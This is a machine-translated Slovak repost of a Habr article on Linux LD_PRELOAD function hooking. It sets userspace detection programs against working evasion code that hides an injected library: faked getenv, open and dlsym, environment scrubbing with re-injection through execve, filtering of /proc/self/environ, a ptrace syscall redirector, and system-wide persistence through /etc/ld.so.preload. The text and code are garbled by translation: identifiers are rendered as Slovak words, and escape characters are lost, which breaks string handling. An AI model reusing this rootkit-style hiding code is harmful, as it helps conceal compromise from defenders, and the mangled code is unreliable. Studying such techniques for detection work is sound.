Táto poznámka bola napísaná v roku 2014, ale práve som sa dostal pod represiu na Habrého a neuzrela svetlo sveta. Počas zákazu som na to zabudol, ale teraz som to našiel v konceptoch. Rozmýšľal som nad zmazaním, ale možno sa to niekomu bude hodiť.

Vo všeobecnosti, malý piatkový správca čítanie na tému vyhľadávania „zahrnuté“ LD_PRELOAD.
1. Krátka odbočka pre tých, ktorí nie sú oboznámení so substitúciou funkcií
Zvyšok môže ísť rovno str.2.
Začnime klasickým príkladom:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Kompilujeme bez akýchkoľvek príznakov:
$ gcc ./ld_rand.c -o ld_rand
A ako sa očakávalo, dostaneme 5 náhodných čísel menších ako 100:
$ ./ld_rand
53
93
48
57
20
Ale predstavme si, že nemáme zdrojový kód programu, ale musíme zmeniť správanie.
Vytvorme si vlastnú knižnicu s vlastným prototypom funkcie, napríklad:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
A teraz je náš náhodný výber celkom predvídateľný:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Tento trik vyzerá ešte pôsobivejšie, ak najprv exportujeme našu knižnicu cez
$ export LD_PRELOAD=$PWD/ld_rand.so
alebo to urobíme ako prvé
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
a potom spustite program ako zvyčajne. V samotnom programe sme nezmenili ani jeden riadok kódu, ale jeho správanie teraz závisí od malej funkcie v našej knižnici. Navyše, v čase písania programu, rand ani neexistoval.
Čo prinútilo náš program používať falošné rand? Poďme na to postupne.
Pri spustení aplikácie sa načítajú určité knižnice, ktoré obsahujú funkcie potrebné pre program. Môžeme ich zobraziť pomocou ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Tento zoznam sa môže líšiť v závislosti od verzie OS, ale musí tam byť súbor libc.so. Práve táto knižnica poskytuje systémové volania a základné funkcie ako napr otvoriť, malloc, printf atď. Náš rand je tiež medzi nimi. Presvedčime sa o tom:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Pozrime sa, či sa množina knižníc pri používaní zmení LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Ukázalo sa, že premenná je nastavená LD_PRELOAD núti nás načítať ld_rand.so aj napriek tomu, že samotný program to nevyžaduje. A keďže naša funkcia "rand" načíta skôr ako rand od libc.so, potom vládne úkrytu.
Dobre, podarilo sa nám nahradiť natívnu funkciu, ale ako zabezpečiť, aby bola zachovaná jej funkčnosť a boli pridané nejaké akcie. Upravme našu náhodnosť:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Tu ako náš „doplnok“ vytlačíme iba jeden riadok textu, po ktorom vytvoríme ukazovateľ na pôvodnú funkciu rand. Na získanie adresy tejto funkcie potrebujeme dlsym je funkcia z knižnice libdlktorý nájde naše rand v zásobníku dynamických knižníc. Potom túto funkciu zavoláme a vrátime jej hodnotu. Podľa toho budeme musieť pridať "-ldl" pri montáži:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
A náš program používa „natívne“ rand, ktorý predtým vykonal nejaké obscénne akcie.
2. Bolesť pri hľadaní
Keďže vieme o potenciálnej hrozbe, chceme ju odhaliť predpätie Bola vykonaná. Je jasné, že najlepší spôsob detekcie je natlačiť ho do jadra, ale mňa zaujali možnosti detekcie v užívateľskom priestore.
Ďalej budú riešenia na detekciu a ich vyvrátenie v pároch.
2.1. Začnime jednoducho
Ako už bolo spomenuté, knižnicu, ktorá sa má načítať, môžete zadať pomocou premennej LD_PRELOAD alebo zapísaním do súboru /etc/ld.so.preload. Vytvorme dva jednoduché detektory.
Prvým je skontrolovať nastavenú premennú prostredia:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Druhým je skontrolovať, či je súbor otvorený:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Načítajme knižnice:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Tu a nižšie označuje [+] úspešnú detekciu.
[-] teda znamená obídenie detekcie.
Aký účinný je takýto detektor? Najprv sa pozrime na premennú prostredia:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Podobne sa zbavíme šeku otvoriť:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Áno, tu je možné použiť aj iné spôsoby prístupu k súboru, napr. open64, stav atď., ale v skutočnosti je na ich oklamanie potrebných rovnakých 5-10 riadkov kódu.
2.2. Poďme ďalej
Vyššie sme použili getenv() získať hodnotu LD_PRELOAD, ale existuje aj „nízkoúrovňový“ spôsob, ako sa dostať ENV-premenné. Nebudeme používať prechodné funkcie, ale budeme odkazovať na pole **životné prostredie, ktorý ukladá kópiu prostredia:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Keďže tu načítavame údaje priamo z pamäte, takýto hovor sa nedá zachytiť a náš undect_getenv už nezasahuje do identifikácie narušenia.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
Zdá sa, že tento problém je vyriešený? Stále sa to len začína.
Po spustení programu hodnota premennej LD_PRELOAD hackeri ho už nepotrebujú v pamäti, to znamená, že si ho môžu prečítať a vymazať pred vykonaním akýchkoľvek pokynov. Samozrejme, úprava poľa v pamäti je prinajmenšom zlý programovací štýl, ale ako to môže zastaviť niekoho, kto nám aj tak nepraje dobre?
Aby sme to dosiahli, musíme si vytvoriť vlastnú falošnú funkciu init(), v ktorom zachytíme nainštalované LD_PRELOAD a pošlite ho nášmu linkeru:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Vykonávame a kontrolujeme:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
Pamäť však nie je posledným miestom, kde môžete nájsť náhradu LD_PRELOAD, je tu tiež /proc/. Začnime tým, čo je zrejmé /proc/{PID}/environ.
V skutočnosti existuje univerzálne riešenie pre nezistiť **životné prostredie и /proc/self/environ. Problémom je „nesprávne“ správanie unsetenv(env).
správna možnosť
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Ale predstavme si, že sme to nenašli a /proc/self/environ obsahuje „problematické“ údaje.
Najprv skúsme s naším predchádzajúcim „prestrojením“:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
ako používa to isté na otvorenie súboru otvorené(), takže riešenie je podobné tomu, čo už bolo urobené v časti 2.1, ale teraz vytvoríme dočasný súbor, do ktorého skopírujeme hodnoty skutočnej pamäte bez riadkov obsahujúcich LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
A táto fáza prešla:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Ďalšie zrejmé miesto je /proc/self/maps. Nemá zmysel sa tým zaoberať. Riešenie je úplne totožné s predchádzajúcim: skopírujte údaje zo súboru mínus riadky medzi nimi libc.so и ld.so.
2.4. Možnosť od Chokepoint
Toto riešenie sa mi páčilo najmä pre jeho jednoduchosť. Porovnávame adresy funkcií načítaných priamo z libca adresy „NEXT“.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Načítava sa knižnica odpočúvaním "OTVORENÉ()" a skontrolujte:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
Vyvrátenie sa ukázalo byť ešte jednoduchšie:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Systémové volania
Zdalo by sa, že je to všetko, ale aj tak sa budeme motať. Ak nasmerujeme systémové volanie priamo na jadro, obíde sa tým celý proces odpočúvania. Nižšie uvedené riešenie samozrejme závisí od architektúry (x86_64). Skúsme to implementovať na detekciu otvoru ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
A tento problém má riešenie. Výňatok z muž'A:
ptrace je nástroj, ktorý umožňuje rodičovskému procesu pozorovať a kontrolovať priebeh iného procesu, prezerať a meniť jeho údaje a registre. Táto funkcia sa zvyčajne používa na vytváranie bodov prerušenia v programe na ladenie a monitorovanie systémových volaní.
Rodičovský proces môže začať sledovanie najprv zavolaním fork(2) a potom môže výsledný podriadený proces spustiť PTRACE_TRACEME, po ktorom (zvyčajne) nasleduje spustenie exec(3). Na druhej strane, nadradený proces môže začať ladiť existujúci proces pomocou PTRACE_ATTACH.
Pri sledovaní sa podriadený proces zastaví vždy, keď prijme signál, aj keď je signál ignorovaný. (Výnimkou je SIGKILL, ktorý funguje normálne.) Rodičovský proces bude na to upozornený volaním wait(2), po ktorom si môže prezerať a upravovať obsah podriadeného procesu pred jeho spustením. Rodičovský proces potom umožňuje dieťaťu pokračovať v behu, pričom v niektorých prípadoch ignoruje signál, ktorý mu bol odoslaný, alebo namiesto toho pošle iný signál).
Riešením je teda monitorovanie procesu, jeho zastavenie pred každým systémovým volaním a v prípade potreby presmerovanie vlákna na funkciu háku.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
skontrolujte:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Ďakujem ti veľmi pekne
, ktorej články, zdroje a komentáre urobili oveľa viac ako ja, aby sa tu táto poznámka objavila.
Zdroj: hab.com
